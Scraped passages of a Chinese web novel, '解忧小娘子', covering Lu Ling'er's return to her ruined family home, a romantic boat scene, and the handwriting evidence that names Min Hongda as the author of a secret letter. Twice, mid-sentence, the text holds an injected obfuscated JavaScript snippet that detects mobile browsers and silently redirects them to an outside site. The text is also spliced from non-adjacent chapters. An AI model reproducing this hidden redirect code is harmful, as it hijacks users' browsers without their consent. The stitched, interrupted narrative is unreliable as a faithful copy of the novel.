她往回缩了缩身子,声音都微微有些发颤: “哦,谢……谢阁主。” 不知为何,她心里有一种陌生的情愫倏然冒出了头。 阁主虽从未在下属面前拿乔,但对女子向来是不假辞色的,譬如那七公主,当时拒绝得多狠哪。 可为何她总觉得阁主对她似乎不太一样,同桌进餐而不拘礼,撞倒在怀亦不生气,今日还亲自为她拭去唇角的碎渣。 阁主对她……好像有点特殊? 也正是这份特殊,让她有了一种前所未有的感觉。 这感觉说不清、道不明,就这么横亘在心间,令她有些透不过气来。 此时船儿即将驶到江渚之畔,艄公转舵欲行靠岸,那夏日的骄阳,就在船儿转舵之时照进船舱,洒在了陆铃儿身上。 阳光晃了她的眼,也在瞬息之间澄明了她的困惑的心。 自己这是在瞎些想什么呢! 阁主对她的好,怕不是 17. 第 17 章 《解忧小娘子》全本免费阅读 长宁京北大街。 长宁乃宁国之都,四方街道各具特色,然而这北大街,相较另外三个方位却要冷清许多,越往北走,越是如此。 陆铃儿接任务来过几次,也仅是在街头晃悠,并没有行至街尾。 今日越走越清寂,她不觉疑惑起来。 为何城北竟是这般模样? 陆家的线索,又怎会在这样的地方? “可是觉得城北与长宁其他街市不太一样?” 容砚似是看穿了陆铃儿心中所想,直接点出了她的疑惑。 陆铃儿点头:“嗯,这里按说不算偏僻,为何却如此萧瑟?” “这里曾与其他街市并无不同,只因十年前的一场变故,才逐渐成了现在这样。” 十年前?又是十年前! 陆铃儿心下一惊,秀眉轻颦道: “阁主,你所说的这场变故,就是……” 容砚点头:“嗯,正是。” 今日带她来此,就是来为她揭这层伤疤的。 在此之前,他其实是庆幸陆铃儿失忆的。 纵使她已忘了他,但同时也忘了那场变故带给她的伤痛,十年来扬起笑颜活在阳光下,而不是在仇恨中度过余生。 他多希望,陆铃儿能保持这样的笑容,久一点,再久一点。 只是从常老五与泰来坊众人被灭口之事起,他已明白过来,有些事,终究要让她知道的。 他知道这很疼,但这一次,他会陪在陆铃儿身边,永远不会再让她独处承受。 他黯下眼眸,叹息一声道: “陆铃儿,你可曾听过先太子容珏?” 先太子? 陆铃儿有些不明阁主为何会突然提及先太子,不过她确实有些模糊的印象。 幼年她随师父四处卖艺,曾听街头之人在闲聊时提起过。 听闻,先太子可是—— 陆铃儿心里一个咯噔,杏眼扫过容砚,小心翼翼地问道: “阁主说的,可是那谋逆犯上、自缢而终的先太子?” 据说先太子谋反失败,死得极不光彩,皇家为了挽尊,严禁谈及此事,京中百姓被封了口,不敢随意提及。 也就是外面天高皇帝远,民间才敢私下说道几句。 对了,好像先太子案发之时,也是十年前! 难道陆家,与先太子有关? “谋逆犯上、自缢而终?” 容砚不禁一阵唏嘘,眼前浮现出一个温朗的身影。 想来那位谦尊而光之人,从未料到生后世人皆是如此评价于他,就连那个曾对他推崇倍至的小姑娘,也被世人的流言所蒙蔽。 “怎么?不是这样的吗?” 陆铃儿见容砚眸色有异,忙解释道: “我也是道听途说,并不知其中真假。” 陆铃儿略显尴尬的模样,令容砚目光柔下了几分,他轻言道: “无需紧张,世人的评价本就不代表真相。” “哦。”陆铃儿暗自舒了口气。 阁主在此时提到先太子,怕是与陆家有着千丝万缕的联系。 先太子若是谋反,那陆家—— “阁主,陆家可是与这位先太子有关?” 容砚缓缓点头,看向陆铃儿的眼里暗含顾惜: “陆家家主陆致远,正是先太子太傅。” 什么! 陆铃儿圆圆的杏眼写满了震惊,陆家竟是先太子党羽? 若是这样的话,陆家怕是也—— 陆铃儿心下一急,正欲再问,容砚却停下了脚步: “到了。” 此时他们已从北大街转入一条深巷,停在了一座荒宅前。 若说荒宅,从北大街后半段直至这条巷子,陆铃儿一路走来已见到不少,只是这巷内的更为破旧。 整条巷似乎都被废弃了,看起来荒无人烟,他们驻足的这座宅子尤甚。 此情此景,陆铃儿不禁心中黯然,陆家,怕是凶多吉少了。 原来,这就是阁主说的十年前那场变故。 “在那场事故发生之前,这里曾是京中上好的地段,出事后,附近的人都搬走了。” 阁主的话,印证着陆铃儿心中所想,令她顿时生出了一种恸然之感。 她抬眸凝向荒宅,只见宅顶已塌了大半,见不到一片好瓦。 门头更是破破烂烂,破碎的门匾早已看不清字迹,却四处爬满了青苔。 门口似乎曾有一对石狮子守着,只是那狮子全然裂成碎渣、化为齑粉,只余石座仍留在门前守望。 这残破的景象令陆铃儿心下一痛,她转头回望,身后的容砚眼眸深邃,朝她轻轻点了点头,示意她进去看看。 陆铃儿抿下嘴唇,走到那破旧的门前,缓缓伸手,只听那的朽了大半的门吱呀一响,映入眼帘的,便是满园的荒草,以及四处的断壁残垣。 她一步步从正门步入颓败的前院,又从前院进入残毁的厅堂,心中的痛处感越来越强烈。 手抚在厅堂的残壁,岁月的风霜从指尖传入心脏,那痛感也变得清晰起来。 她有一种感觉,这里就是她曾经的家。 突然,她抚壁的手顿住了。 她的指尖掠上了一团浮纹,像是壁上雕刻的什么徽章。 她双手拭尽浮纹上的灰尘,一个古朴的“陆”字伴随着云纹,就这么凸现在了残壁上。 刹那间,一股熟悉到颤|栗的感觉席卷陆铃儿全身。 这陆字—— 她慌忙从颈上取下那枚贴身佩带的长命锁,那是师父故去前亲手交给她的,告诉他此锁与她的身世有关。 此刻,那锁上暗刻的“陆”字,与残壁上这个“陆”字,形制上如出一辙,甚至可以说是一模一样! 容砚见陆铃儿取出长命锁,深邃的眼眸也同样是一征。 他有多少年,没见过这长命锁了,原来它从未遗失,一直在陆铃儿身上。 “这是陆家家徽,你身上的长命锁,亦是陆家所制。” 陆铃儿死死地盯着残壁,她面色已然发白,脑子里更是一团乱麻。 她终于,找到她的家了,可是这个家,却是如此荒凉。 “阁主,我想在这里走走。” 容砚眸色微恸,回了声:“好。” 陆铃儿略显呆滞地在这荒宅里走了许久,脑子里混乱得紧,似是满满当当想了很多,又似空空荡荡什么都没有想。 容砚跟在她身后,眸子里满是怜惜,无声地陪她走过每一处颓垣断壁,最后随她一起,在一处阶梯前坐了下来。

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只可惜,温葭的目光并未跟随戚玉尘而去,而是一直在他与陆铃儿身上来回晃悠,搞得陆铃儿都不好意思同他讲话了。 幸好戚玉尘手脚麻利,不过多时便捧着两盒红豆酥出来了。 他将一盒交至容砚手上,又眯起好看的桃花,将另一盒递给了温葭。 温葭的视线这才移至戚玉尘,在他手中打量一番后,这才接中礼盒,朝容砚笑道: “今日可多谢靖王了。” “不必谢我,你这一盒本是戚师兄的。” 温葭的笑容顿时僵在了脸上。 70. 第 70 章 温葭眼中满是嫌弃,她手中的红豆酥,是戚玉尘这讨厌的家伙的? 若这红豆酥是容砚的,她自然会大方收下,毕竟她也算是他与陆铃儿的红娘,为他们牵线搭桥都好几次了,更何况上次遇上闵亨闹事,她还送过他们一人一张礼券。 但戚玉尘不一样,他惯会捉弄人,她以前可没少吃过他的亏,今日他主动送上红豆酥,定是没安什么好心。 戚玉尘桃花眼微微一挑,像是看出她心中所想,只勾唇笑道: “温小姐忘了上次的相送之情了?收下吧,这是谢礼。” 温葭这才想起,上次也是他们四人相遇,她佯装头痛让容砚送陆铃儿,却被戚玉尘给赖上了,马车捎了他一程,害她绕了好长一段路才回家。 这事都过去几个月了,难为他到今天才良心发现,送她喜欢的红豆酥当谢礼。 方才她亲眼瞧着他进品然斋去兑换礼券,就这么点时间,量他也耍不了什么花样。 温葭这才放下心中警惕,将头轻轻一昂: “既是谢礼,那我就免为其难收下了。” 戚玉尘眸中闪过一丝意料之中的欣喜,朝温葭微一含首,又瞥向了身侧的容砚。 容砚感受到他的目光,暗自摇了摇头,换上一副克己奉公的模样道: “红豆酥已取,今日就先到这里吧,解忧阁还有些事,恕我带陆铃儿先行一步。” 他说是有事,语气听起来却并不急切,只微微转向温葭,又道了声: “温小姐,抱歉了。” 今日温葭二人正逛着街,他一来便将陆铃儿带走,是该同温葭说声抱歉。 况且解忧阁也没什么大事,不过是眼下机会难得,想为彼此留些相处的空间而已。 温葭一听容砚要同陆铃儿一道回解忧阁,眼里又冒起了光。 他们回程这一路,要穿街过巷乘小船,两个人卿卿我我,多好的时机啊。 一想到这样的场景,温葭嘴都快合不拢了,目光扫过容砚与陆铃儿二人,给了他们一个“我懂得”的眼神: “无妨无妨,那你们先忙,我自行回去就好。” “等等,阿葭你自行回去,我可不放心。” 陆铃儿拦下还在一头傻乐的温葭,又转向对面的戚玉尘: “戚大人,阿葭的马车还在解忧居等候,劳烦你相送一下,可好?” “陆姑娘客气,举手之劳而已,再说,温小姐本就对在下有相送之谊。” 戚玉尘桃花眼中盈起笑意,温葭小脸却是垮了下来。 谁想要他送了,还不如自己走呢,铃儿怎就托他相送了呢,害她想拒绝都无法开口。 今日这家伙要是敢耍花样,定要让他好看。 两姐妹依依惜别,四人分成两路,各自走向了不同的方向。 刚走出没多远,陆铃儿便听身侧的容砚轻声问道: “你看出来了?” “嗯,我也是刚刚才反应过来。” 陆铃儿自从与容砚定情以后,于情之一事突然开了窍,很多以前没太看懂的事,如今一下都明朗了起来。 方才戚玉尘对温葭的态度很不一般,看她的眼神更是与任何人都不同,就像是,容砚看自己这样。 再加上容砚的推波助澜,让她瞬间便回过味来,也正因如此,她才顺势让戚玉尘去送送温葭,以此为两人创造机会。 毕竟,温葭也曾这样帮过她,只是如今她当局者迷,没能看清彼此之间的情意罢了。 容砚闻言,长眉微微一挑。 陆铃儿现在出息了,以前他做得那么明显,她都没看出来,现在倒是能看出戚玉尘对温葭的感情了。 不过看温葭的态度,像是对他这师兄避之不及,两人的这一段情路,怕还是长着呢。 他不禁摇头轻叹道: “可惜温小姐还没看出来,戚玉尘今后可有得苦头吃了。” “苦尽定会甘来,我相信他们两人,一定会像阿葭的笔名这般,佳偶妙成的。” 陆铃儿眨眨眼睛,圆圆的杏眼透出一抹坚定。 戚玉尘虽是有些不羁,人还是靠谱的,而且与温葭自成一种默契,温葭若能正视这段感情,与他修成正果,也不失为一段佳话。 容砚侧目瞟向陆铃儿,又将视线转至手中提着的红豆酥礼盒: “嗯,的确是‘葭’偶妙‘尘’,不过陆铃,你今日是不是忘了什么?” 今日见面到现在,他们谈了一路的温葭戚玉尘,都没顾得上谈他们自己的事了。 自寿宴结束后,他们就各自有事在忙,聚在一起的时候本就不多,话题就别总在其他人身上打转了吧。 更何况,接下来他还得去一趟靖州,此去不仅是接手军政之权,还要准备两国会盟事宜,他们又将有半个月见不到面,今日将红豆酥赠与她,也有向她诉说相思之意。 陆铃儿顺着容砚的眼神看向红豆酥,瞬间明白了他话中的含义。 她弯起眉眼,回望进他的眼眸,唇边两个小梨涡楚楚动人: “你专程寻来礼券送我红豆酥,我真的很开心,阿砚对我最好了!” 容砚闻言唇角扬起笑容,就连耳垂也微微泛起了红,轻轻应了声: “嗯。” 他方才所言,只是想把话题拉回他们两人身上,同时让陆铃儿知道,他送她红豆酥,只因他想她。 陆铃儿果然一点就透,不但给了他想要的,甚至还给了他更多,那一声“阿砚对我最好了”,挠得他心里直痒痒。 没想到陆铃儿的话不止如此,还朝他继续神秘地眨眼道: “其实我也有东西要送你,只不过在街上不方便,待会儿到了解忧阁再拿给你。” 容砚对她的一片深情她怎会不知,眼下他即将出行,她也极为不舍,暗地里为他备下了个小玩意儿,希望他能早日平安归来。 容砚狭长的瑞凤目一下亮了起来,陆铃儿不但当街夸他好,还为他准备了礼物,这怎能让他不惊喜: “好。陆铃,我也很开心。” 他何其有幸,今生能遇到陆铃儿,还能失而复得,拥有她全心全意的爱恋,他真的很开心。 两人一路走着,不多时便来到了江畔,解忧阁的专属码头之上,已有艄公在此等候。 容砚牵着陆铃儿,两人稳稳地上了船,却都不约而同地想起了陆铃儿一个没站稳而跌入容砚怀里的那一次。 往事涌上心头,两人相视一笑,复又握紧双手,躬身一起进入了船舱。 船头的艄公先是把头一扬,阁主与未来阁主夫人一同坐他的船,这是他莫大的荣幸。 对于他来说,有这份荣幸便已足够,至于其他的,他可是有他的素养,绝不会多看多听半分。 他背对着船舱,把头埋得低低的,船篙在岸边一撑,小船儿便驶离了江畔,悠悠行在了江面之上。 船舱内,容砚与陆铃儿并肩而坐,刚想伸手去揽她,却见陆铃儿手捧红豆酥礼盒,杏眼俏皮地眨了几眨,笑意盈盈地清了清嗓子,然后一本正经地朝他开口道: “阁主,我今日得了个好东西,听说相当美味,要不要尝尝?” 陆铃儿口中熟悉的话语,令容砚顿觉时光流转,瞬间回到了他们一起在船上吃红豆酥的那一天。 那时他刚以靖王的身份与她一同兑换了红豆酥,又以阁主的身份与他同回解忧阁,两人在船上之时,她便是说的方才这番话。 她一直都记得属于他们两人的专属记忆,亦如他从未忘记过他们之间的点点滴滴。 他的长眸之中盛满星辰,扬唇轻咳一声,用冷泉般的声音回复道: “品然斋的礼盒?他家红豆酥味道不错,你先尝尝吧。” 他的语气神态与当时如出一辙,内容却稍有不同。 这一次,他希望陆铃儿先吃。 陆铃儿也不深究,容砚懂得她的意思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12942876|121347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还能配合着与她一起玩,她已经很开心了,稍有些许地方对不上就对不上吧。 她眉眼弯弯地道了声好,便再一次将手中那精美的礼盒打了。 礼盒还是整齐地分成了六格,她从其中挑出一块红豆酥,缓缓咬上了一小口。 嗯,外酥内软、层次分明,还是同样上次一样的美味。 口中的酥甜,与记忆中甜蜜交织在一起,令陆铃儿又满足得眯起了眼,正欲再吃一口,却发现容砚一直未动,只盯着她吃东西的模样瞧。 “阿砚也一起吃啊。” 上次他们都是两人同食,现在她一人吃独食多不好。 容砚从方才起,视线就一直宠溺地凝在陆铃儿身上,看她小脸一鼓一鼓的吃着糕点,可爱至极。 此时听得她邀约般的一声轻唤,他长眸一暗,轻轻嗯了一声。 陆铃儿见他应声,只当他会同上次一般从礼盒中挑一块吃,便也不再多想,继续吃起了手中的红豆酥。 容砚却并未如她所想去拿盒中糕点,而是倾身上前,一口咬住了她嘴里的红豆酥。 小小的一块红豆酥,一端进了陆铃儿口中,另一端却被容砚咬中,只余陆铃儿的手指捏在中间。 两个人贴得如此之近,连唇都碰到了一起,就好似在隔在糕点亲吻。 霎时间,陆铃儿僵住了身子,脸唰地一下红潮又起,心也扑通扑通跳个不停。 他们之间不是没有亲密过,可吃东西的时候这般亲密还是第一次。 况且,外面还有艄公在划船呢,他堂堂阁主,竟如此不拘小节,在船舱里就这般…… 见陆铃儿动都不敢动的模样,容砚唇角一弯,喉结轻轻滚动,咬下口中糕点,才又往后退开身子,清风伴着冷泉般的声音从口中逸出: “好甜。” 陆铃儿脸都要烧起来了,根本不敢去细想,他说的甜,到底是哪个甜。 她连忙咬下糕点收回手,却发现容砚的视线一路追随着她,从她的脸庞,复又移至她手中仅剩一点的红豆酥上。 那小小的糕点之上,印着两个弯弯月牙形状的咬痕,一个是她的,另一个则是他的。 容砚心中悸动又起,上次他们同船共吃红豆酥的时候,他就想这么做了,今日一试,果然甜蜜。 “还要一起吃吗?” 陆铃儿这才反应过来,他们说的一起吃,根本就不是同一个意思,她赶紧护住手中糕点,连声说道: “我自己来,自己来就好。” 她可没忘记,她们还在外面呢,船头艄公只需一回头,便能看到他们,可不敢再同他“一起吃”了。 陆铃儿一口将剩下的红豆酥吞进嘴里,容砚含笑看着她鼓着脸颊嚼完咽下,然后又扬起薄唇,用他那修长的手指,在唇边轻点了几下。 陆铃儿杏眸一顿,难道她唇角又沾上了芝麻? 她正欲伸手擦拭,容砚却再度低下头来,在她唇角处印上了一吻。 这一吻很浅,如蜻蜓点水般,轻轻一触便又分开,只是两人唇角相贴、鼻息相闻,哪怕只是碰了那么一下,陆铃儿也觉呼吸都要滞住了。 容砚却是掬起笑意,俯首在她耳畔轻道: “这次没有芝麻,我只是想亲你。” 他的低语,令陆铃儿心跳得厉害,她红着脸嗔了句: “阿砚,我们还在外面。” 容砚知道陆铃儿这是害羞了,便也不再逗她,只伸手将她揽住: “好,那就回去再说。” 这一次,陆铃儿没有再反对,船儿悠悠,两人相互依偎着,心也如方才的红豆酥一般,甜蜜无比。 只是情长路短,还没过得多久,小船便已行至岸边。 刚一回到解忧阁,陆铃儿便收到了一封来自仁州的信件。 两人按下心中旖旎,将目光汇聚于信件之上。 看来那封密信的线索,不出多时便能够水落石出了。 71. 第 71 章 容砚口的十七娘,正是陆铃儿的第一个委托人,施绮。 那时陆铃儿刚刚成为解忧师,接下施绮的委托后,巧用“传音筒”惩治了赖账的书肆老板。 施绮将《青梅曲》书稿相赠,回到仁州老家两人亦常有书信来往,陆铃儿也是这时才知,施绮因常年与书稿打交道,竟练就了笔迹鉴定的本领。 她通过笔迹,断定《青梅曲》的作者佳偶妙成生是名女子,这才将其介绍给陆铃儿,促成了陆铃儿与温葭的重逢。 正因如此,陆铃儿这才写信请教她关于密信笔迹一事,今日收到的这封信,便是她对此事的回复。 至于陆铃儿为何会怀疑上密信的笔迹,这一切还要从她被容玮藏进徐王府说起。 那时她困于密室不得而出,整日就在那间狭小的屋子里打转,将室内物件盘了不知有多少遍。 其中有一幅字引起了她的注意,她从见到的第一眼起,便觉得这字眼熟得紧,可怎么也想不起在哪里见过,一问之下,原是闵相闵宏达的墨宝。 她暗自奇怪,她从未见过闵宏达的笔迹,为何会有这样的熟悉之感,直到后来解忧阁被人纵火,她救完火回房检查密信,方才明白之前的熟悉感从何而来。 闵宏达的那幅字,竟与她手中的密信笔迹极为相似! 她惊骇不已,却并未声张此事,只私下告诉了容砚,两人一边借着大火放出风声说密信已经烧毁,一边又暗中去市面上寻了些闵宏达的墨宝来做对比。 奇怪的是,这次的笔迹与那密室中的字幅完全不同,也不知是不是闵宏达刻意改变过字体,居然一点也看不出相似之处了。 仅凭这样的字迹,实难确认是否出自同一人之手,但若要在京城找人鉴定笔迹,又太过容易打草惊蛇。 陆铃儿便想起了施绮,她将市面上寻到的闵相墨宝,与密信的临摹本各截取了一段,寄给施绮帮忙鉴定。 如今回信已到,他们马上便能得知,密信是否由闵宏达所写了。 陆铃儿拆开信件,视线在信纸上迅速扫过,其间那一行“确为同一人笔迹”的字样,坐实了她心中盘旋已久的猜疑。 她心下一沉,将回信递给容砚,容砚快速看过,眼中闪过一丝了然。 他追查陆家惨案多年,所寻线索统统指向闵家,只是闵家做事狠绝,未曾留下过确凿证据,今日这封回信终能证明,残害陆家的真凶、那一直藏于幕后的主使,便是闵相闵宏达! 抬眸间,两人视线交汇,眸光中映出的不光是彼此,还有对真相的渴求、对平反的执着。 闵宏达,果然便是他们追寻多时的仇人! 只是这样的真相,令陆铃儿在钝痛之余又生出了更多的疑虑。 她突然发现,真实情况远比她想象中要复杂得多。 “阿砚,你怎么看?” “密信既是由闵宏达亲笔书写,这其中牵涉便非同小可。” 容砚显然与陆铃儿想到了一处,狭长的眼眸微微一眯: “如此看来,当年陆家的惨案,甚至是先太子的自缢,并非只是党派之争,更是因为他们拿到了密信。” 闵宏达身为宁国宰相,私下却与朔国暗传书信,不论这信里写着什么,都将是砍头的大罪。 要说里通外邦,闵宏达才是当之无愧的第一人,怪不得他会一路对得到密信之人赶尽杀绝。 陆铃儿蹙眉点了点头,之前她也怀疑闵家就是陆家惨案的始作俑,认为他们这么做是为了替徐王以及闵家一派的上位扫清障碍。 但若这封密信是由闵宏达所写,这背后的意义便需要重新梳理了。 闵宏达与朔国到底是什么关系?这封密信,又究竟藏了什么样的秘密? 陆铃儿的眼眸之中闪过几分急切: “当务之急,必须解开密信。” 所有的一切,皆因密信而起,待解开密信,她定要揭穿闵宏达的真面目,将他勾结朔国、残害忠良一事昭告于天下,为陆家讨一个公道。 陆铃儿的眼神,令容砚泛起阵阵心疼。 自收到施绮的回信起,她便一直紧绷着心弦,虽不似第一次去陆家故宅那般伤怀,但始终憋着那股子一查到底的倔强劲。 他双手扶起她的肩,轻叹一声道: “密信要解,但需找对契机,陆铃,切勿心急。” 他知道她一心想为陆家伸冤,但解密靠的不是勤奋与拼劲,而是找对那把打开谜题的钥匙,否则,越是着急,越是找不准方向。 陆铃儿闻言,盯着容砚狭长的眼眸微微一怔。 方才她确实有些心急,他们自成州拿到密信已近两月,找了各种破解之法都未能解开,今日确定这信是闵宏达所写,她想要解开密信的心又急切了几分。 容砚说得没错,解密不能着急,若是找错了方向,再怎么努力都是徒劳。 “阿砚,那要何时才能找对解开密信的契机?” 她的声音有些闷闷的,带着些许委屈与不甘,眼角也微微泛起了红,这番模样令容砚心疼不已,扶在她肩上的手臂微微一揽,将她拥入了怀中: “如今既已知晓写信之人是闵宏达,离解开密信的那一天便也不远了,说不定,解密的关键便与他有关,我们是时候换一下思路了。” 此前他们一直在寻找文字中的解密口令,然而找遍了可供解密的暗号秘令皆无所获,看来是他们想岔了,这封密信,应是另有解法。 容砚安抚地在陆铃儿背上轻轻拍了拍,继续说道: “你也别急,或许一个无意所见、一个无心之言,便能找到新的契机。” 随着容砚的轻抚,陆铃儿眼中急切渐渐退去,心绪缓缓安定下来。 是啊,如今知道了闵宏达便是那幕后之人,密信的解法便有了新的方向,他们离对的契机已经越来越近了。 她展臂环住他的腰,轻声应道: “嗯,那我们接下来便多出去走走,看看有什么新发现。” 眼下闵宏达因寿宴上的构陷停职思过,在家闭门不出,对他们而言,正是外出广寻思路的好时机。 “好。” 容砚一声回应过后,两人不再多言,只静静相拥在一起。 今日他们一路甜甜蜜蜜刚回到解忧阁,满腔情意未消,便被这封重要的信件所打断,如今密信之事有了新的方向,他们的心也安顿下来,重新又找回了属于两人的静谧时光。 时值初冬,天色很快暗了下来,两人用罢晚餐都不舍得离开,坐在桌边说着些体己话。 容砚明日即将起程前往靖州,这一去便将是半个多月,白日他去品然斋送红豆酥给陆铃儿,也是想以红豆寄语相思。 说起红豆酥,陆铃儿这才想起,她还有件东西要送给容砚。 她弯了弯眼眸,手中翻出一物: “阿砚,白日便说有东西送你,喏,此去靖州,望君平安。” 陆铃儿指尖挂着的,是她亲手做的一枚墨玉平安扣。 她早前答应过要送他一份礼物,思来想去,还是觉得自己做的更有意义一点。 她寻来一块上好的墨玉,每日得空便精心雕琢,终于做成了这枚平安扣。 容砚望向陆铃儿手里的平安扣,墨色的环玉坠上,细细嵌着金丝,一个金色的“砚”字浮于其上,甚是古朴雅致。 细细看去,那玉坠之上还暗刻着梅花细纹,墨金相间的流苏轻轻摇曳,令容砚的心也跟来回轻晃。 这样一枚平安扣,一看便不是从外购得,而是陆铃儿亲手所做。 他唇边扬起深深的笑意,长眸盛满惊喜,望进她圆圆的杏眸之中: “这是你补上的定情信物?” 他还记得,他们于思锦轩定下终身,他送她玄鸟抱月白玉佩时,她便说过也要为他准备一件信物,原来她一直未曾忘记此事。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12978050|121347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 眼前这平安扣,与玉佩颜色一黑一白,大小相似,皆坠以流苏,系在腰间极为相配。 陆铃儿面色微红,将手中玉扣递至容砚面前: “嗯,早就说要送你,今日可算是补上了,这墨梅洗砚黑玉扣,你可还喜欢?” “喜欢,再喜欢不过。” 容砚欣然接过玉扣,轻抚着上面的每一笔纹路,金丝的“砚”字,暗刻的梅纹,好一个墨梅洗砚,他的陆铃,总是这样给他惊喜。 陆铃儿唇角弯起好看的弧度,眨着杏眸朝他又道: “这可不是一般的平安扣,你看看有什么发现没?” 容砚闻言再次抚上玉扣,细细摩挲之下,他发现那嵌于墨玉之上的“砚”字,似乎暗藏机关。 他找准机关,在“砚”字上轻轻一按,那环扣之中,竟弹出了一只黑色的小甲虫,那甲虫极小,却不是真物,而是手工制成。 “钻山蚤?” “嗯,这平安扣中藏有三只钻山蚤,按动机关一次便出一只,若遇刀剑不便解决之人,有了它便会方便许多。” 容砚望着陆铃儿笑意盈盈的脸庞,心中的感动无以复加。 他虽有君影剑这样的利器,但要在一定距离范围内迅速定住目标,还得是陆铃儿自行研制的“钻山蚤”管用。 其实严格说来,这已不是陆铃儿第一次做东西送给他了。 之前在成州,她便将黑金妖蟒的鳞甲制成了护甲,回长宁后又将其重新改良,如今他身上的护甲,不论在观感还是舒适度上,都与成州那时有了大幅的提升。 眼下她又送他这枚平安扣,墨梅洗砚处处合他心意,不仅与他送的信物遥相呼应,还暗藏钻山蚤护他周全,无处不显示出她对他的用心。 容砚感到心又重重跳了起来,那声音震得他胸腔发疼,只能从薄唇中轻轻逸出一句: “陆铃,帮我系上,可好?” “好。” 陆铃儿接过平安扣正欲躬身,容砚却按住她的肩,起身立在了她的身旁。 他不要她弯腰为他结系,她只需好好坐着,他来站着就好。 陆铃儿瞬间也明白了他的用意,仰头与他相视而笑,然后将平安扣轻手系在了他的腰间。 刚一系好,容砚便一把将她拉起,两人对而立,腰间一为白玉佩,一为墨玉扣,流苏轻摇、相得益彰。 容砚上缓身前一步,陆铃儿便被他抵在了桌前,还未反应过来,额头已被他轻轻印上一吻: “此行我定会平安归来,倒是你,在京中多加注意安全,闵宏达虽闭门在家不出,但绝不可掉以轻心。” 即便他早已遣人盯紧了闵家一派,也派了暗卫护着陆铃儿,他仍旧挂心不已,生怕他不在的时候又横生枝节。 陆铃儿脸又微微红了几分,唇角却是一弯,亮出两个可爱的小酒窝: “放心,我机灵……” 陆铃儿话还没说完,便被容砚堵住了唇。 他怎不知她机灵,但上次她刚说完这话不久便遭了容玮的暗算,这一次,他不希望再发生这样的事。 于是他以吻缄封,将她未出口的话语淹没于唇齿之间。 这一日,两人诉说了许久的相思之情,第二天,容砚便在陆铃儿的依依不舍中去往了靖州。 接下来陆铃儿的日程被排得满满当当,既有阁内派下的常规任务,又有不少慕名前来之人,专程委托她来解忧。 陆铃儿可是圣上御赐的“彩戏解忧大师”,有这样的解忧师为自己解决难题,那可是莫大的荣光。 对此陆铃儿是能接尽接,不仅因为阁内众人近日也都忙得抽不开身,还因为她想借机多外出走走看看,没准什么时候,就能发现解开密信的新思路。 她已从裴若愚那里出了师,如今这些委托,基本都难不到她的。 就这样忙碌了十日,这一天,陆铃儿接到了一份特别的委托。 72. 第 72 章 解忧居内,陆铃儿看着眼前的颈戴围巾、衣着破旧的中年汉子,圆圆的杏眸闪过几分同情。 这汉子名叫佟三,家住长宁城郊,一家人本是老实本份的农户,怎奈家逢不测,两位兄长先后去世,妻子也因病故去了,只剩下他与残疾的老父亲相依为命。 他这老父亲平生没啥爱好,就爱看个彩戏,多年前曾有幸得见幻人张表演“神仙索”飞天摘桃,此后一直念念不忘,唯愿再次一睹风采,只可惜,京城再没有彩戏师能施展这项绝活了。 眼下佟老爹年岁已大,眼看时日已不多,以为将会带着遗憾离开人世,没想到,幻人张竟还有徒弟青出于蓝,在圣前用“神仙索”演了一出麻姑献寿,技惊四座。 佟三打听到这位会使“神仙索”的彩戏师自出解忧阁,便拿出仅有的一点积蓄,专程前来委托,以满足老父亲仅有的一点心愿。 这样的委托,对陆铃儿来说只是举手之劳,但对贫苦一生的佟老爹来说,却是带给他带来欢乐的唯一心愿与企盼,陆铃儿又怎能不接。 她面向佟三,展颜点头道: “为佟老爹表演彩戏不是什么难事,我这就随你去吧。” 难为佟三一片孝心,今日她定会圆了佟老爹的心愿,而他们用积蓄换来的委托费,她也会找个时机悄悄归还,就当是她的一点心意吧。 就这样,陆铃儿跟着佟三,一路往长宁城郊走去。 眼前的景色从熙熙攘攘的街道,慢慢变为大片大片的农田。 陆铃儿看着收割后的稻桩,一下想起了寿宴之上的“五谷丰登”,她弯了弯眉眼,朝身侧的佟三问了句: “今年的收成可还好?” 佟三显然没想到陆铃儿会问他收成,眼神有一刹那的迷离,愣了一瞬才又憨憨地讪笑道: “收成还好。” 本是无心一问,却让陆铃儿眉心微不可察地一颦,佟三身为农户,对于收成一事为何会迟疑? 她不由得眯了眯眼眸,放缓脚下的幅度,悄然落在了佟三的身后。 不出多时,两人便来到了佟三家门口。 清贫的农家小院,院门都已显得有些残旧,佟三吱呀一声推开院门: “陆姑娘,请。” 陆铃儿透过开启的院门看进去,破旧的小院里,一位老人背对着屋堂,正靠坐在一把竹椅上阖目而憩。 老人的服饰与佟三极为相似,也是补丁衣服配围巾,左臂却是空空如也,看来正是佟三所说的残疾老父亲。 陆铃儿点点头,轻道一声“请”,与佟三一道踏进了屋院。 她的步伐很慢,行走间已缓缓落后于佟三,而那位靠坐于院前的佟老爹也慢慢睁开了眼,见有客到来,他仅有的右手摸向椅边竹杖,杵着它颤颤巍巍站起身来,躬着身子问道: “这位姑娘就是……会‘神仙索’的彩戏师?” 陆铃儿朝他礼貌地笑了一笑,开口回复道: “佟老爹好,我便是彩戏师陆铃儿,今日专程前来为您再演一次‘神仙索’的。” 佟老爹闻言,皱纹纵横的脸上挂起欣喜: “好,好……想不到,我还有再见到这项绝技的一天,咳咳咳……” 佟老爹多说几句便显得有些身力不支,刚停下话语,见陆铃儿在佟三身后停下了脚步,复又开口道: “孩子,咳咳……来,走近来说话。” 